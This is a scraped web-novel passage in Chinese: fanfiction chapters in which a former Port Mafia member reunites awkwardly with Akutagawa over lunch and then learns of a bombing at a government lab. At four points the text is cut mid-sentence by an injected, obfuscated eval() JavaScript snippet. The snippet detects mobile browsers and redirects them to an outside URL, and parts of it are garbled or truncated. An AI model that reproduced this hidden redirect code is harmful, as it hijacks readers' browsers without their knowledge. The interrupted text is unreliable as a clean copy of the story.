“听说横滨警局的前刑事课长正在竞选议员,形象太强硬可不会招人喜欢哦?还是说,他希望通过解决传送口的问题获得更多选票呢?” 警员终于闭上了嘴。东方仗助皱起的眉头也渐渐舒缓了一些。 “更何况,我的同事现在又累又饿,我看不如把监控他的任务转移给武装侦探社吧——以我们社长的性格,如果佐藤君真的做了什么出格的事,他绝对不会偏袒。” “太宰先生,你这样让我们很难办。”负责审讯的异能特务科职员却不赞成,“佐藤先生现在是横滨目前唯一一名两次进入传送口都生还的人,为了保护横滨,官方进行监控和研究是在所难免的事...” 他说到一半,电话突然嗡嗡作响。 职员本来想直接挂断,但在看见来电显示后,还是狐疑地扫了一眼太宰治,接了起来。 “您好,安吾前辈。” 电话那头响起男人平直的声音:“答应他的请求。” “可是传送口的研究......” 电话骤然挂断。 坂口安吾现在是异能特务科负责研究地下传送口事务的组长,怎么会在这个时候突然过来横插一脚?! 太宰治笑着摆摆手:“那我就先把人带回去了。” 90 佐藤阳翔在离开审讯室的大门后,就看见了等候在外的东方仗助和中岛敦。 虽然他才消失了一天,但传送口中的时间与外界并不对等,加上佐藤阳翔经历的事情又多,在看见两人的瞬间就有一种恍如隔世的感觉,忍不住主动上前拥抱了一下这两只几乎在摇着尾巴看他的小狗,感慨道:“还是侦探社好啊...” 不用天天当卧底,不用过上刀口舔血的日子。进去了还有人过来捞你,出门就能看见同事朋友和小狗一样等你,还有比现在更好的生活吗? 被他抱在怀里的东方仗助和中岛敦瞬间脸色爆红支支吾吾,想问的话也被这突如其来的拥抱整得抛之脑后。 怎么感觉佐藤阳翔有点不一样了? 好像他从传送口里出来后,一下子就变得特别热情,特别温柔... “去吃饭去吃饭。”佐藤阳翔说,“我都快饿死了。吃完午饭我要请假回去睡一整天!” 餐厅位于横滨旧居民区的小巷子里。这里是一家经营了超过三十年的老店,除了主营食堂饭菜外,每日还有限量的红小豆汤— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095720|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —在佐藤阳翔逃离港口mafia之前,这里是他和芥川兄妹最常来的地方。 他们当时总是三个人凑成一桌,坐在靠近角落的窗边,这里既不会被人打扰,又能正好看见临街的车流。 但在佐藤阳翔叛逃之后,他就再也没来过这里。 “还挺怀念的...” 佐藤阳翔其实自己也不知道为什么突然会来这里吃饭——思来想去,只能把一切都归结为受到了白茧内经历的影响,所以自己才会一时心血来潮。 佐藤阳翔在传送口前被人审讯了一上午才放出来,觉得这个点应该不会那么倒霉地遇到故人,便一边介绍着这里的招牌菜,一边拉开了大门。 “这里的红小豆汤很出名,不过招牌的咖喱牛肉饭也不错,店老板已经在这里开了很多年了。” 店内的装潢简朴但温馨,来这里的基本都是老顾客。侍者是店老板的女儿,现在依旧还非常细心地记得每位老顾客的喜好。 “噢,您不是佐藤先生吗?” 招待的侍者一见到佐藤阳翔,立刻就认出了这张长得实在出类拔萃的脸,刚想露出一个旧人相识的笑容,但表情却在看见他身后跟着的几人,有些怪异地变了变,“客人,您得有好几年没来了吧?” “确实有好几年了。” 她小心翼翼地看了一眼正在观察墙上菜单的几人,压低了些声音:“不知道能不能借一步说话?” “这里不方便吗?”佐藤阳翔问,“没关系,他们都是我可靠的同伴,没有什么话是他们不能听的。” 侍者拼命给他挤眼色,手指轻轻往里面的方向指了指。 ——很可惜,佐藤阳翔没看懂。 “能再描述得具体一点吗?”见对方一副讳莫如深的表情,佐藤阳翔还以为里面有人在闹事,“如果你有需要帮助的地方,就直接说出来吧。” 侍者摇摇头。东方仗助和中岛敦此时都已经点好了套餐,太宰治则心有所感地往餐厅深处看了一眼,突然扭过头拍了拍佐藤阳翔的肩膀,笑容有点让人捉摸不透:“呐呐佐藤君,我突然想起我还有一件很重要的事没完成,我们就在事务所见面吧。” 中岛敦一头雾水:“欸?太宰先生不和我们一起吃午饭吗?” 太宰治转过身,背对着他们挥了挥手。 佐藤阳翔虽然被他这一出整得莫名其妙,但出于对太宰治的了解,他现在的行为举止莫名其妙也正常,他还是选择将这家伙突如其来的举动抛之脑后,指了指里面的座位,对中岛敦和东方仗助说:“我们就先进去吧。” 另一边,正在侦探事务所附近吃午饭的与谢野晶子瞥见信箱提醒,拿起手机潦草扫了一眼,身体后仰靠在椅背上说:“太宰说他也要过来吃饭。” 国木田独步:“...那家伙不是去接佐藤阳翔了吗?” 宫泽贤治咬住筷子,在与谢野晶子的示意下往屏幕上看了一眼:“太宰先生说那里是地狱的修罗场,这是什么意思?” 旧居民区老店,靠窗的一角。 在侍者心虚的示意下,佐藤阳翔成功和一双漆黑的眼眸对上了视线。 佐藤阳翔:“……” 他现在走还来得及吗? 50.第四十八章 91 老实说,佐藤阳翔压根不知道场面是如何发展到现在这个地步的。 东方仗助、中岛敦和芥川龙之介现在分坐三方,把佐藤阳翔围困在了最里面的角落,导致他现在进退两难;而且眼下气氛非常紧张,好像随时都会爆发一场世纪大战——坐在外围的三个人你看我我看你,竟然都奇迹般地从他人的眼神中读取到了与自己同频的情感。 佐藤阳翔觉得他有必要为自己辩护一下。这种氛围和他一点关系都没有,毕竟中岛敦和东方仗助之间的氛围一直都很和平、友好,但芥川龙之介的出现,却把这样微妙的平衡敲了个粉碎——因为无论是人虎还是那个牛排头少年,他都一律平等地看不顺眼。 时间倒转至五分钟前。 太宰治前脚刚走,佐藤阳翔后脚就和芥川龙之介猝不及防打了个照面。他的思绪一路从“太宰治这个混蛋刚刚绝对是故意逃跑的”,跳到“我该怎么说服仗助和敦换一家餐厅”,但佐藤阳翔还没来得及想出一个结果,中岛敦就发现了坐在角落里的芥川龙之介。 “芥川?!”白虎少年顿时警惕心拉满,伸手拦在佐藤阳翔身前,随时做好了战斗准备,“港口mafia怎么会在这里?!” 芥川龙之介看他的表情则像是在看一名蠢货。 就在这时,店老板刚好端着乌龙茶从厨房里走出来——他的情绪感知显然远不及女儿敏锐,情商堪忧的同时嘴里还没个把门。在见到佐藤阳翔后,老板立即喜出望外地和他打招呼: “哎呀,这不是佐藤吗?经过这么多年,你总算过来了!芥川今天正好也在,你们要好好修复关系呀,上回这小子提起你的时候正在气头上,还说你死了呢!” 佐藤阳翔:“......” 好吧,他倒也没说错。 店老板完全没意识到自己正在添乱,非常诚恳地问:“佐藤,你要和芥川坐一起吗?我可以给你们安排大一点的桌子哦。” 察觉到情况不对,店老板女儿立即打着哈哈,冲出来把不明所以的父亲推离了现场。但东方仗助和中岛敦还是不由得变了脸色——一场没有硝烟的战争由此露出了些许苗头。 这几句话虽然简短,其中透露出的几个要点却让人越想越觉得另有深意:第一,能让老板一下子喊出两人的名字,就说明佐藤阳翔以前和芥川龙之介确实经常来这里吃饭;第二,连饭店老板都知道他们闹掰的过往,说明佐藤阳翔和芥川龙之介的关系曾经好到了人尽皆知的程度。 事已至此,佐藤阳翔要再想当什么都没发生已经不可能了。 不过,在一切尘埃落定之前,他还有最后一个机会,就是带着东方仗助和中岛敦坐去距离芥川龙之介最遥远的角落;但这样做,几乎就相当于明晃晃地把“我俩有一些问题还没解决”写在脸上。 不对,这不对。 佐藤阳翔想,自己只是来这里吃饭的,然后刚好在这里遇到芥川龙之介了而已,干嘛要觉得心虚?!但他一抬头看见独自守在角落座位的芥川龙之介,还有那双漆黑的眼睛,曾经抛弃过芥川的罪恶感就再度缠绕上了他的心头。 ——然后,就演变成了现在一起拼桌的场景。 老实讲,这里的火药味已经浓烈到路过的吃瓜群众都不敢扭头的程度;因为自打三人入座的那一刻起,恶意的竞争就已经拉开了序幕。 东方仗助作为佐藤阳翔的现任舍友,理所当然地要占据距离他最近的位置;而中岛敦作为佐藤阳翔的同事,加上武装侦探社和港口mafia正处于尖锐对立中,他也不可能放任芥川龙之介靠近自己喜欢的人。 他们就像两名忠心耿耿的骑士,坚守在佐藤阳翔的两侧,试图把象征着危险的祸犬隔绝在外。 受到排挤的芥川龙之介面色不改,但对两人的印象却都出奇地一致。 无论是曾经在电影院外和港口mafia大打出手的东方仗助,还是一直在被组织通缉的中岛敦,对芥川龙之介而言,目前都只有一个标签——“佐藤阳翔身边的狗”。 他们看不惯芥川的同时,厌犬人士芥川龙之介亦是如此。 “打扰了,几位点的套餐上齐了,请慢用。” 就在这几乎让人窒息的寂静中,上菜的侍者小姐成为了打破僵局的救世主。不过,她会把几人点过的菜品一口气全都上齐,主要也是为了远离这桌气氛恐怖的局面——但可喜可贺的是,在美食面前,几人的火药味确实变淡了一些。 佐藤阳翔保持初心,选择了原来常点的招牌咖喱牛肉饭。东方仗助按照从前在杜王町吃饭的口味,选择了照烧牛舌饭;而中岛敦点了茶泡饭——只有芥川龙之介的面前,摆放着与本人气质截然不同的红小豆汤。 东方仗助看了一眼佐藤阳翔碗里的咖喱牛肉,好奇道:“喂阳翔,你的咖喱牛肉看起来很great啊,要和我的牛舌交换一块试试吗?” “你想要的话就直接夹吧。” “噢,那我就不客气啦。” 中岛敦见状,看了一眼自己碗里有些寒酸的茶泡饭,把想要交换的话语咽回了肚子里。 不过佐藤阳翔之所以是佐藤阳翔,就在于他有随时摸清一个人心理的本事——反正自己碗里的牛肉很多,佐藤阳翔完全不介意分一点给别人:“敦要试试吗?这家店的咖喱牛肉确实挺不错的。” 少年紫金色的眼睛顿时一亮。 他刚想点头,饭桌上就响起了一道充满嘲讽意味的嗤笑:“原来你养了两条喜欢吃剩饭的狗啊。” 原本舒缓了一些的气氛瞬间重回冰点。 佐藤阳翔最担心的事还是发生了——他迟早会被芥川龙之介的话害死。 “喂,你想在这里打架吗,芥川。”中岛敦皱起眉头,警惕地望向出演挑衅的芥川龙之介——他就知道这家伙的嘴里绝对吐不出什么好话。 东方仗助更是直接气笑了,从后槽牙中挤出声音:“说我是狗?Great,非常great,现在看来,阳翔会和你闹掰完全是有原因的,因为你根本就不知道‘礼貌’这两个字怎么写,被他讨厌也是理所当然的吧。” 佐藤阳翔倒吸一口冷气。 ......完蛋了。 果不其然,在东方仗助这句话刚落下,中岛敦就清晰地听见了某种开关打开的声音。芥川龙之介的表情瞬间变得极为恐怖,手中的汤勺也应声折断——他绝不允许任何人提起那段被佐藤阳翔抛弃的过去,更何况,说这话的人根本就对他们的事一无所知。 眼看【罗生门】就要暴起,中岛敦和东方仗助也做好了战斗准备,紧张的气氛一触即发;佐藤阳翔“啪”地一下就从位置上站了起来,及时打断了即将爆发的战争。 “够了,都给我消停点!” 三人将视线都投在了他的身上。 佐藤阳翔的声音一下子就弱了下去:“我...我先去上个厕所。” 92 佐藤阳翔几乎是逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101175|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走的。他虽然口头上说着要去上厕所,但其实逃跑的方向完全相反。侍者小姐刚推门出去,就看见他撑着脑袋蹲在门口的花坛前,活像是刚经历了一场精神浩劫——但俗话说得好:逃避虽然可耻但很有用。 佐藤阳翔觉得自己如果再留在那里,他们几人迟早要打起来。 侍者小姐尴尬一笑:“哈哈...您还真是辛苦了...” 他叹了一口气:“说不定我不在场会好一点。” ——但其实,即使他暂时逃离了战场,那一桌的氛围依旧可怕得犹如地狱。 中岛敦率先打破僵局,正色道:“...芥川,虽然不知道你和佐藤先生有什么过节,但我们今天只是和佐藤先生一起来吃午饭的,并不想和你起冲突。更何况,这家店是无辜的。” “还是别和这家伙多费口舌了。”东方仗助说,“等阳翔吃完午饭我们就回家。” 芥川龙之介捕捉到关键词,冷冷地扫了他一眼。 回家?他们现在住在一起? 佐藤阳翔和这个牛排头? 就在这时,情商堪忧的店老板趁着女儿在外安抚精神疲惫的佐藤阳翔,又过来给他们送降火饮料——说实话,他完全不知道这几个人在吵什么,明明都是佐藤阳翔的朋友,却把气氛搞得和情敌见面一样。 友谊现在都是这么不容分享的吗? 店老板完全不知道他们几人各自心怀鬼胎,走前还劝道:“你们要好好相处呀,不然佐藤夹在中间会很难办的。” “我们倒是不想在这里吵架啦,但架不住某些人说话难听。”东方仗助撑住下巴,把头扭到了一边,“没想到阳翔曾经有这样的朋友,真是非常的no great。” 芥川龙之介则对副和佐藤阳翔很熟的态度非常不爽。 “那是在下和他之间的事。”芥川龙之介反击道,“他既然什么都没和你说过,证明你们之间的关系也不过如此。” “我、我们是好朋友。”东方仗助辩驳道,“他讨厌的人才不会出现在我们的聊天话题里。” “呵,好朋友?” 眼看两人又要吵起来,中岛敦急忙叫停:“行了,这次给佐藤先生惹的麻烦已经够多了。” “你也好不到哪去,人虎。”芥川龙之介睨他一眼,冷冷张口,“心怀鬼胎,但自作多情。” 被戳中心思的中岛敦,耳根一下子就红了。 他慌慌张张地摆手:“我...我对佐藤先生是、是...” 东方仗助一下子就警惕起来——说实话,在今天之前,他其实几乎不怎么把中岛敦往这方面想过。 在他看来,中岛敦和佐藤阳翔之间最深的联系就是那桩情况惨烈的委托;而且佐藤阳翔在家几乎不怎么和东方仗助谈起工作的事,加上中岛敦邀请他们去元町商业街时,身边还带着泉镜花——东方仗助还以为中岛敦对佐藤阳翔只是纯洁的同事关系! 被戳破友谊面具的三个人面面相觑,场面一下子就变得非常混乱。 等佐藤阳翔做好了心理建设,在侍者小姐的鼓励下回到店内的时候,就看见了如此场景:芥川龙之介和两人之间的关系依旧肉眼可见的差;但不知为何,原本站在一条战线上的中岛敦和东方仗助之间,气氛也变得微妙了起来。 被三人齐刷刷打量的佐藤阳翔,再一次汗流浃背了。 佐藤阳翔:“......” 现在还能再用一次上厕所的借口吗? 51.第四十九章 93 佐藤阳翔推门进来的时候,香软的咖喱牛肉已经变凉发硬,咬起来的质感很像在吃坚韧的食用蜡;但幸运的是,那三个人终于没有再你一言我一语地互掐,给佐藤阳翔的用餐成功留出了一线喘息。 尽管他们的眼神,还是对彼此充斥着微妙的敌意。 在他落座的五分钟后,芥川龙之介就失去了继续留在这里的兴趣。和佐藤阳翔要被官方问询一样,芥川龙之介也需要向森鸥外汇报他所遇到的一切——横滨正在遭逢一场前所未有的巨变,港口mafia也是时候该多做准备了。 东方仗助和中岛敦警惕地看着突然站起来的青年:“你想干什么?” 佐藤阳翔则抬眸:“你要回去了吗?” 芥川龙之介懒得和情敌多费口舌,单手插入黑色长外套的口袋,望着佐藤阳翔淡淡地应了一声。 但正是这一声,让曾经和芥川龙之介打过不少交道的中岛敦大为震惊:世界上除了太宰治外,他还没见过第二名能让芥川龙之介以正常态度对待的人。 东方仗助也还没忘记,上次在电影院门口见到芥川龙之介时,这名青年脸上的仇恨、不甘和愤怒。但两人仅仅进了一次传送口,彼此之间的隔阂就犹如冰雪般消融,这种熟络平和的氛围却让东方仗助觉得相当不是滋味,有一种专属自己的特权被人夺走了一样。 老实讲,他有一种不太美妙的危机感。 直到芥川龙之介的身影消失在门口,佐藤阳翔才稍微松了一口气——他发誓,这顿饭绝对是他人生中吃得最索然无味的一顿午饭。 芥川龙之介一离开,店内剑拔弩张的气氛就消散了许多,毕竟中岛敦和东方仗助之间好歹还维系着微妙的平衡,两人都很讲道理,不至于一言不合就掐起架来。 “对了,正事还没有说呢。” 佐藤阳翔从口袋中掏出一块被齐整割下的矿石,正是当初他让芥川龙之介帮忙从白茧壁上弄下来的那一块。 “少年,这个东西就由你带给太宰治吧——刚刚在警局里,我用暗号暗示我的身上携带着特别的东西,异能特务科的人这才同意他把我从警局里带出来。” 东方仗助和中岛敦两人这才意识到,佐藤阳翔刚刚在审讯室里叩击桌面的动作,原来并不是纯粹的发牢骚;坂口安吾会突然通知下级放人离开,也并不是什么突如其来的善举,更不是以此卖太宰治一个面子——而是他们早就暗中确立了交易关系。 用传送口里的矿石,来交换佐藤阳翔的人身自由,这可是很有性价比的一桩买卖。 被摆在桌面上的矿石呈现出流光溢彩的蓝绿色,中岛敦几乎被那奇异的外形震惊,迟疑着伸出手接过,发现它虽然看起来只有小小一截,但质量却出奇地重。 “这是传送口里的东西?”东方仗助也凑过来,好奇地用手指戳了戳,“看起来很奇怪啊...阳翔,你是怎么把这东西弄出来的?” “这是龙之介用【罗生门】切割的。值得一提的是,我们在地下城里见到的那些触感柔软的茧壁,反而具有极高的韧性,不管用什么办法,都没办法将其强行撕裂。” 佐藤阳翔思忖道:“传送口里除了怪物,还存在着不少用现代科学无法解释的特殊材料——现在都是异能特务科在管理传送口的事吧?把矿石交给他们,他们说不定能发现什么。” “我明白了,我会好好把它带给太宰先生的。”中岛敦闻言,郑重其事地将矿石攥入掌心后,才后知后觉地问,“对了,佐藤先生待会儿不回事务所吗?” “嗯,我还要完成一件很重要的事。” “什么?”中岛敦不明觉厉。 佐藤阳翔双手抱胸:“我要睡觉啊。” 94 睡觉,上帝赐予人类最伟大的发明之一。作为人类生命中最不可或缺的一部分,据说睡眠能占据一个人生命中三分之一的时间。睡觉代表的不仅仅是机体的休息,更多时候还代表着一种心灵上的慰藉。 佐藤阳翔在简单洗漱过后,带着一身清爽的水汽就钻进了被窝里。他虽然在传送口的白茧里被迫睡了好长一段时间,但这种情况严格来说并不等同于睡觉,而更接近于外力作用下的强行休眠。 从白茧中醒来后,他明显感到自己精神疲惫,因此他急切需要回到被窝里给自己充电。 东方仗助叹了一口气,撑着脸坐在床边。从他的视角,可以完全看清佐藤阳翔半开衬衫下的胸膛——这家伙也太毫无防备了吧。 仗助想着,突然发现他在靠近心脏的皮肤上,烙着两块深褐色的伤疤。 东方仗助忍不住问道:“阳翔,你睡着了吗?” “嗯?”假寐的青年发出慵懒的鼻音。 “你胸口上的伤,是怎么弄的啊?” “枪伤。” “你以前在港口mafia工作的时候留下的?” “嗯。” “...这是有多危险啊。”他嘟囔道。 而佐藤阳翔也由此想起那段和记忆有所出入的过去,撑着身体坐了起来,把目光转向了东方仗助:“对了,我有点事想问你——仗助,我以前在杜王町除了和你呆在一块打打闹闹,我们还经历过什么很特别的事吗?” “你怎么突然想起问这个?” “我不是有【失忆症】吗?你就讲给我听听吧,说不定我会想起些什么呢?” 老实说,在从白茧中出来之前,佐藤阳翔始终不认为自己的记忆会欺骗自己。 但随着越来越多奇怪的记忆和名字浮出水面:从第一次进入传送口的那道少年幻影,月下恶鬼口中的“无惨大人”,到寺庙中的“咒灵”和“四魂之玉”... 几乎每个名词都像针一样深深刺入他的脑海。 “看来你终于接受这一点了!”东方仗助非常高兴,他坐正身体,学着老师上课时的样子,一本正经地咳嗽两声,然后说道,“当初我们在杜王町啊...” 就在仗助的话语即将脱口而出的那一瞬间,一种莫名诡异的不协调感突然浮现在了佐藤阳翔的心头。 如果非要找个比喻来形容的话,就像是视频人声在正常播放的同时,附近的施工队突然开始工作,用强大到几乎能压垮一切的噪音吞噬了视频里的声音,导致佐藤阳翔完全没有听见对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118097|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方在说什么。 他的脸上的表情不由得凝重了起来。 东方仗助碰了碰他的胳膊:“阳翔?阳翔!你在发呆吗?” “啊,我可能是精神太紧张了。”佐藤阳翔回过神,咳嗽了一声,心下却不由得骇然起来,“我们继续吧。” “好吧。”东方仗助说,“你怎么突然想起问这个?” “...什么?” “你怎么突然想起问过去的事啊?” 一模一样的对话再现眼前。 一分钟前,佐藤阳翔就曾经回答过这个问题。 “我不是有【失忆症】吗?”佐藤阳翔用余光瞥了一眼挂在墙上的挂钟,挂钟的分针指向数字“2”,秒针刚好路过数字“8”,一切都好像没发生过的样子。 他顿了一下,然后缓缓开口道,“...说不定我能想起些什么呢?” “看来你终于接受这一点了!当初我们在杜王町啊...” 很快又是一阵奇怪的噪音和不协调感。 就像视频被人强行关掉,再次拖回了上一次观看留下的记忆点。佐藤阳翔迅速回过神,发现东方仗助凑了过来,用那双实际上很温柔的海蓝色眼睛,关心地看着他。 “你没事吧?不是在问我过去的事吗?表情怎么突然变得这么难看?” “我没事,刚刚有点走神了。” 佐藤阳翔说着,却在第一时间将视线挪向了墙上的挂钟——分针依旧停留在数字“2”,但更让他觉得骇然的是,秒针此刻才刚过数字“6”,正向数字“8”迈进。 “好吧,那你怎么突然想起问这个?” “...不,没什么。我突然不太想知道了。” 佐藤阳翔知道,如果直接问东方仗助,自己可能永远都得不到想要的答案——他差点忘记了,即便现在的自己已经没有【系统】束缚了,【祂】依旧在无时无刻监视着自己。 “哈?这么突然?”东方仗助扯住刚想躺下的佐藤阳翔,“喂,我可是已经做好了讲给你听的准备...” “行了行了,睡觉吧。”佐藤阳翔单臂压下他的肩膀,故作轻松地闭上眼睛,从鼻腔里轻轻哼出简单的音节,“困死人了。” ...他这人怎么说睡就要睡啊! 东方仗助还没来得及吐槽,就被他拉到了床铺上。两个人“久违”地躺在一块——对于佐藤阳翔来说,这次的同床共枕确实隔了不少时间,但对东方仗助来说,这个“久违”更多地代表一种感觉。 如此贴近的距离,东方仗助能清晰地闻到他身上沐浴露的味道,恍惚之间好像又回到了杜王町。 当时和他住在一起的佐藤阳翔,就是用这种安抚的姿势抱着他睡觉,但当时的东方仗助其实不太情愿,觉得这种姿势有损他的硬汉形象,但每次反抗都无果,最后还是被佐藤阳翔一把拽进怀里睡觉。 如果能回到当初他们在杜王町的时候...就好了。 东方仗助看着佐藤阳翔的睡颜,也轻轻地将眼皮阖了起来,忍不住将手环上他的腰。 ——这种紧紧相抵的温暖,几乎让他再次坠入爱河。 52.第五十章 95 佐藤阳翔是被电话铃声惊醒的。 他一睁眼,就看见头顶一片漆黑的天花板。东方仗助正搂着他的腰,像孩子那样伏在佐藤阳翔的胸口睡着了。借着窗外的月光和零星几点光亮,佐藤阳翔才慢半拍地反应过来,现在还是夜晚。 扔在枕边的手机发出刺目明亮的光芒,来电显示的名字是中岛敦。佐藤阳翔拿起手机,除了来电显示外,手机邮箱还被人传了不少讯息。 “不好了,佐藤先生!”他刚接起,就听见电话那头的中岛敦传来急迫的声音,“晚上我和太宰先生把矿石送去实验室化验,但是出了点问题...” 佐藤阳翔原本怠惰的意识瞬间回笼。 他很清楚,中岛敦并不是那种因为一点小问题就会大惊小怪地把自己吵醒的性子,与他同行的太宰治在处理正经事上,也能称得上一句可靠——会在这个点突然把他喊出来,恐怕真的发生了什么不妙的事。 东方仗助也被他们说话的声音吵醒了。他慢半拍地从佐藤阳翔的身边睡起来,一脸困倦地打着哈欠,看着好友皱起的眉头关心道:“怎...怎么了吗?怎么突然一副这么严肃的表情?” “出事了,我要出去一趟。” 佐藤阳翔挂掉电话后,迅速地换好了外套,头也不抬地道:“今天晚上,敦和太宰治一起把矿石拿到了异能特务科指定的实验室进行化验——但在研究结果出来之前,他们的实验室先爆炸了。” 此时已临近午夜,武装侦探社早就已经过了下班的时间。实验室化验的结果起码要过好几天才能出来,他们在上交矿石材料后,就准备离开化验室等待结果。 但谁也没想到,他们刚走出研究所的大门,研究所里就传来了一声轰然的巨响。 一个巨大的爆炸,就像在夜晚绽放的巨大烟花,火光伴随着建筑残骸飞向四周。 太宰治在第一时间就察觉到了不对劲,他刚绕去了狭窄的研究所偏门,就看见了一道几乎融进夜色之中的黑色身影。中岛敦本来还想去追,但对方的速度实在是太快了——在太宰治的提醒下,他不得不先把重心放回救人上。 佐藤阳翔刚抵达研究所门口,就看见门外挤满了消防员和救护车。太宰治正在与一名戴着眼镜的异能特务科官员攀谈,在注意到来人后,他们才向佐藤阳翔的方向走了过来。 那名来自异能特务科的官员身型瘦削,戴着一副无边框的圆形镜片,深邃的瞳孔几乎都被眼镜的反光遮住。佐藤阳翔凭借他身上被熨得笔直的西装,以及扣得严严实实的外套纽扣,猜测此人应该是一名性格严谨的青年。 “佐藤君,这位是来自异能特务科的坂口安吾。” 在太宰治简单的介绍下,佐藤阳翔得知了对方的名字——坂口安吾,异能特务科目前负责地下传送口事务的组长;同时也是在警局通知下级放自己离开的那个人。 “嘛,简单说说现在的情况,就是研究所遭到了袭击。”太宰治颔首,“我和敦刚离开研究所,就发生了爆炸,看来犯人一直躲在暗处观察我们呢。” 佐藤阳翔问:“矿石呢?” “在现场没有找到。”坂口安吾说着,推了推眼镜,“这才是最麻烦的事。我们还不知道你从传送口里带出来的那个东西有什么作用,如果落到了不法分子手里就完了。” “研究所只丢了矿石吗?” “具体内容还需要等灭火以后再去清点。”太宰治叹了一口气,“研究所的实验室不止一间,这里是直属异能特务科旗下的研究所,大多都在研究一些无法对外公布的东西。” ——言外之意就是,即使有别的物品失踪了,异能特务科也不能向他们透露消息。 “监控有拍到犯人的脸吗?” “只有一个模糊的身影。”安吾将打印出来的照片递到了佐藤阳翔手里,“异能特务科会排查所有知晓化验消息的人,如果你有什么消息,请告知我们。” 照片上的男人浑身黑衣,即便是一个模糊的背影,依旧能看出他肌肉虬结,并且行动敏捷,下手绝不犹豫,在摄像头的捕捉下只留下了一道残影,脸上带着面具,但只露出了一小片的金色鬓发。 佐藤阳翔看着这个身影,白茧中的经历再次闪回。 坂口安吾还在分析:“矿石从被带出到进实验室化验,中间相隔的时间还不到二十四小时——除开异能特务科和武装侦探社,知道你拥有矿石的,应该就只有当初和你一起从传送口里出来的那两个人了吧?” “但我不觉得是港口mafia干的。”佐藤阳翔迅速回神,攥着照片的手指松了松力度,“传送口里的矿石有很多,他们如果真感兴趣,何必要大费周章炸毁研究所?” “而且监控里的这个人,我大概认识。” 此话一出,所有人的目光都锁定在了他身上。 佐藤阳翔面色平静,但金色的眼眸里却闪烁着狡黠的光芒,在大家期待的目光下,将话锋又一转:“但在我说出他的名字之前,异能特务科得先承诺帮我找一个人。” 他可不是什么慈善家,矿石即便被夺走了,对佐藤阳翔而言也只不过是丢了块石头的小事,真正着急的人是异能特务科不是他——既然如此,大好机会不利用一下,就太可惜了。 坂口安吾没想到他会突然来这出,下意识地就皱起眉头,想问问太宰治这是怎么一回事,但老友似乎并不想被卷入其中,若无其事地就将脑袋扭了过去。 太宰治这家伙... 坂口安吾只好深吸一口气,勉强稳定一下声音,“你想找谁?” “弗朗西斯·司各特·菲茨杰拉德。” 太宰治的瞳孔忽然震颤了一瞬。 “我能问问原因吗?” “因为这家伙盯上我了。”佐藤阳翔耸耸肩,“如果你们能找到他盯上我的原因,那更是再好不过了。” “...我明白了,我会替你留意这个人的。” 坂口安吾记下了这个名字,然后用公事公办的语气严肃道,“同样,我希望你能告诉我们炸弹犯的名字——如果你不确定他的真实姓名,就请尽可能描述有关他的具体情报。” “【瑞克】。” 佐藤阳翔说,“我只知道这一个名字,所以不保证是真实姓名。” “大概是五年前,他所在的欧洲炸弹恐怖组织在横滨搅起了不小的风暴。在某次和港口mafia死斗的过程中,他被当场击毙,和他搭档的同伙也被港口mafia带走,随后这个组织便崩溃瓦解了,至此以后音信全无。” 太宰治心有所感地对上佐藤阳翔的眼睛。 佐藤阳翔说:“这名袭击犯,是个死人呢。” 96 夜色渐沉。 被燃烧的火光映照得半边亮起的天空,仿佛在昭示着某种不幸即将发生。佐藤阳翔没功夫去了解异能特务科接下来要做的工作——抓瑞克也好,查弗朗西斯也罢,都用不着他出力,他现在只需要回家睡一觉,然后等着结果送上门来就好。 太宰治似乎还有什么话想对坂口安吾说,所以只有中岛敦和佐藤阳翔一起回去。 中岛敦刚刚一直在协助相关部门开展救人的工作。由于经常进出火里,现在看起来灰头土脸的:浅色的头发上、脸上、衣服上,全是灰烟留下的痕迹,加上爆炸起火的地点是研究所,他的身上不可避免地染上了化学物品燃烧后的臭味,暴露在外的皮肤也被划了好几道细细的血痕,不过依照【白虎】的自愈能力,应该很快就会愈合。 因此,他不得不保持着和佐藤阳翔的距离。 怎么偏偏在和佐藤先生独处的时候这么狼狈... 他垂头丧气地想,自己真是太逊色了。 佐藤阳翔看他心情郁闷,还以为他是为抓不到瑞克而自责:“你看起来心情不太好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 